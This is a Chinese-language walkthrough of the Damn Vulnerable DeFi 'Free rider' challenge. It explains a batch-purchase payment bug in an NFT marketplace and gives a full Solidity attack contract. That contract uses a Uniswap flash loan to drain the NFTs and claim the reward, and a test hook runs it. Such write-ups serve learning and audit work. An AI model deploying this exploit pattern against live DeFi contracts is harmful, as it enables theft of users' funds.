Defi黑客系列：Damn Vulnerable DeFi (十) - Free rider

题目链接：https://www.damnvulnerabledefi.xyz/challenges/10.html

题目描述：

现有已经发布的 Damn Valuable NFT 交易市场，初始 mint 了 6 个 NFT，并且可以在交易市场上出售，售价为 15ETH。

有个买家告诉了你一个秘密：市场是脆弱的，所有的代币都可以被拿走。然而，他并不知道怎么做。为此愿意提供 45 ETH 的奖励给取出 NFT 并发送给他的人。

你想在这个买家那里建立一些名声，所以你已经同意了这个计划。

遗憾的是你只有 0.5 ETH。要是有一个地方你可以免费获得 ETH 就好了，暂时性的也可以。

FreeRiderBuyer.sol

买家合约

Copy
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
contract FreeRiderBuyer is ReentrancyGuard, IERC721Receiver {

using Address for address payable;
address private immutable partner;
IERC721 private immutable nft;
uint256 private constant JOB_PAYOUT = 45 ether;
uint256 private received;

// 部署时向该合约转入了 45eth
constructor(address _partner, address _nft) payable {
require(msg.value == JOB_PAYOUT);
partner = _partner;
nft = IERC721(_nft);
IERC721(_nft).setApprovalForAll(msg.sender, true);
}

// 接收到NFT时触发的函数
function onERC721Received(
address,
address,
uint256 _tokenId,
bytes memory
)
external
override
nonReentrant
returns (bytes4)
{
require(msg.sender == address(nft));
require(tx.origin == partner); // 确保交易的发起人是partner
require(_tokenId >= 0 && _tokenId <= 5);
require(nft.ownerOf(_tokenId) == address(this)); // 确保已持有

received++;
// 接收到6个NFT后将45eth转给partner
if(received == 6) {
payable(partner).sendValue(JOB_PAYOUT);
}
return IERC721Receiver.onERC721Received.selector;
}
}

由于该合约继承自 IERC721Receiver ，且 NFT 合约继承自 ERC721

Copy
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";

contract DamnValuableNFT is ERC721, ERC721Burnable, AccessControl {}

意味着当 NFT 合约调用 safeTransferFrom 且 to 地址是该合约时，会触发 onERC721Received 函数。

Copy
safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)

safeTransferFrom 内部会判断 to 是否是合约地址，是的话则会调用 onERC721Received

FreeRiderNFTMarketplace.sol

交易合约，继承自 ReentrancyGuard, 用于防止重入攻击。

构造函数中创建了一个 DamnValuableNFT 合约，并 mint 了 amountToMint 数量的 NFT 给了合约部署者

Copy
constructor(uint8 amountToMint) payable {
require(amountToMint < 256, "Cannot mint that many tokens");
token = new DamnValuableNFT();

for(uint8 i = 0; i < amountToMint; i++) {
token.safeMint(msg.sender);
}
}

该合约提供了两种功能

批量出售 offerMany

Copy
function offerMany(uint256[] calldata tokenIds, uint256[] calldata prices) external nonReentrant {
require(tokenIds.length > 0 && tokenIds.length == prices.length);
for (uint256 i = 0; i < tokenIds.length; i++) {
_offerOne(tokenIds[i], prices[i]);
}
}

function _offerOne(uint256 tokenId, uint256 price) private {
// 确保出价 > 0
require(price > 0, "Price must be greater than zero");
// 出售者必须是持有该NFT
require(msg.sender == token.ownerOf(tokenId), "Account offering must be the owner");

// 确保已授权
require(
token.getApproved(tokenId) == address(this) ||
token.isApprovedForAll(msg.sender, address(this)),
"Account offering must have approved transfer"
);
// 记录价格
offers[tokenId] = price;

amountOfOffers++;

emit NFTOffered(msg.sender, tokenId, price);
}

NFT 持有人调用该方法，除了一些基本的校验之外，还会授权该合约可以对持有人持有的 NFT 进行操作。

最后将报价保存到 offers[tokenId]，当有人购买时，由于持有人已经授权了该合约可以操作其所持有的 NFT，故在收到付款后，该合约可以直接将持有人的 NFT 转给购买人。

批量购买 buyMany

Copy
function buyMany(uint256[] calldata tokenIds) external payable nonReentrant {
for (uint256 i = 0; i < tokenIds.length; i++) {
_buyOne(tokenIds[i]);
}
}

function _buyOne(uint256 tokenId) private {
// 获取价格
uint256 priceToPay = offers[tokenId];
// 确保转入的价格不少于售价
require(priceToPay > 0, "Token is not being offered");
require(msg.value >= priceToPay, "Amount paid is not enough");

amountOfOffers--;

// 将 NFT 转给购买人
token.safeTransferFrom(token.ownerOf(tokenId), msg.sender, tokenId);

// 将收到的 ETH 转给卖方
payable(token.ownerOf(tokenId)).sendValue(priceToPay);

emit NFTBought(msg.sender, tokenId, priceToPay);
}

当有卖家在交易合约中出售其持有的 NFT 后，买家就可以执行购买流程，首先获取价格，并确保收到的 ETH 不低于售价，之后由该合约将卖家持有的 NFT 转给买家并将收到的 ETH 转给卖家。

批量购买功能其实有个明显的问题，在检查收到的 ETH 要不少于售价时 require(msg.value >= priceToPay, "Amount paid is not enough"); 检查的是单个 NFT 的价格，而不是批量购买的总额。而且 ETH 转给卖方的时候用的是合约内的余额。

例如交易合约持有100ETH， 卖家出售其持有的 tokenId 为 1, 2, 3 的 NFT，价格分别为 1ETH, 5ETH, 3ETH。此时买家购买调用 buyMany 应付的价格为 9ETH，但实际上仅需要支付5ETH（购买价最高的 tokenId 的价格）就能满足 require 的检查。此时交易合约共持有105ETH 。转账时，交易合约共向卖方们转了9ETH。即买方购买时少付的 ETH 由交易合约的余额补上了。

在本题中，NFT 的单价为15ETH，因此只需要付15ETH即可购买 6 个NFT，而不是90ETH。但你只有0.5ETH。因此要想办法获得 ETH ，通过 uniswap 的闪电贷就是不错的方法：

通过闪电贷借出15WETH，并将 WETH 换成 ETH

使用 ETH 购买 NFT，并将购买的 NFT 发送给 FreeRiderBuyer，收到45ETH的奖励。

最后将 ETH 换回 WETH，算上闪电贷的费率还清闪电贷的借款

由于这些操作需要再一笔交易中完成，因此需要写一个攻击合约，不过在此之前需要先看下测试文件 free-rider.challenge.js 做了哪些初始化：

给 attacker 发送了 0.5ETH

部署合约 WETH、DVT、uniswapFactory、uniswapRouter

通过调用 uniswapRouter 合约的方法 addLiquidityETH 添加流动性，该方法内部会创建配对合约 uniswapPair，配对的币种是WETH-DVT ，添加的流动性为 9000WETH 和 15000DVT

部署合约 FreeRiderNFTMarketplace，并转入90ETH。

部署 NFT 合约

在交易合约中创建卖单出售 tokenId 为 0~5 的 NFT ，每个价格都为 15ETH

部署合约 FreeRiderBuyer 并转入45ETH

攻击合约代码如下：

Copy
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Callee.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IWETH.sol";
import "../free-rider/FreeRiderNFTMarketplace.sol";
import "../free-rider/FreeRiderBuyer.sol";
import "../DamnValuableNFT.sol";

contract FreeRiderAttack is IUniswapV2Callee, IERC721Receiver {

FreeRiderBuyer buyer;
FreeRiderNFTMarketplace marketplace;

IUniswapV2Pair pair;
IWETH weth;
DamnValuableNFT nft;
address attacker;

uint256[] tokenIds = [0, 1, 2, 3, 4, 5];

constructor(address _buyer, address payable _marketplace, address _pair, address _weth, address _nft) payable {
buyer = FreeRiderBuyer(_buyer);
marketplace = FreeRiderNFTMarketplace(_marketplace);

pair = IUniswapV2Pair(_pair);
weth = IWETH(_weth);
nft = DamnValuableNFT(_nft);

attacker = msg.sender;
}

function attack(uint amount) external {
// 配对合约: WETH-DVT
// 通过 uniswap 闪电贷借出 amount 数量的 WETH
// 注意: 最后一个参数不能为空，不然就不会执行闪电贷的回调
pair.swap(amount, 0, address(this), "x");
}

// uniswap 闪电贷回调
function uniswapV2Call(
address sender,
uint amount0,
uint amount1,
bytes calldata data
) external {
// 将借出的 WETH 转成 ETH
weth.withdraw(amount0);

// 将借出的15ETH转给交易合约用于购买tokenId为0~5的NFT
marketplace.buyMany{value: amount0}(tokenIds);

// 将购买的NFT转给buyer, 并得到 45 ETH
for (uint tokenId = 0; tokenId < tokenIds.length; tokenId++) {
nft.safeTransferFrom(address(this), address(buyer), tokenId);
}

// 计算闪电贷要还的费用, 并将要还的部分转成 weth
uint fee = amount0 * 3 / 997 + 1;
weth.deposit{value: fee + amount0}();

// 返还闪电贷
weth.transfer(address(pair), fee + amount0);

// 将剩余的 eth 转给 attacker
payable(address(attacker)).transfer(address(this).balance);
}

receive() external payable {}

function onERC721Received(address, address, uint256, bytes memory) external pure override returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
}

在测试文件 free-rider.challenge.js 添加执行入口

Copy
it('Exploit', async function () {
const freeRiderAttack = await (await ethers.getContractFactory('FreeRiderAttack', attacker)).deploy(
this.buyerContract.address,
this.marketplace.address,
this.uniswapPair.address,
this.weth.address,
this.nft.address
)
await freeRiderAttack.attack(NFT_PRICE)
})

最后执行 yarn free-rider 测试通过！

完整代码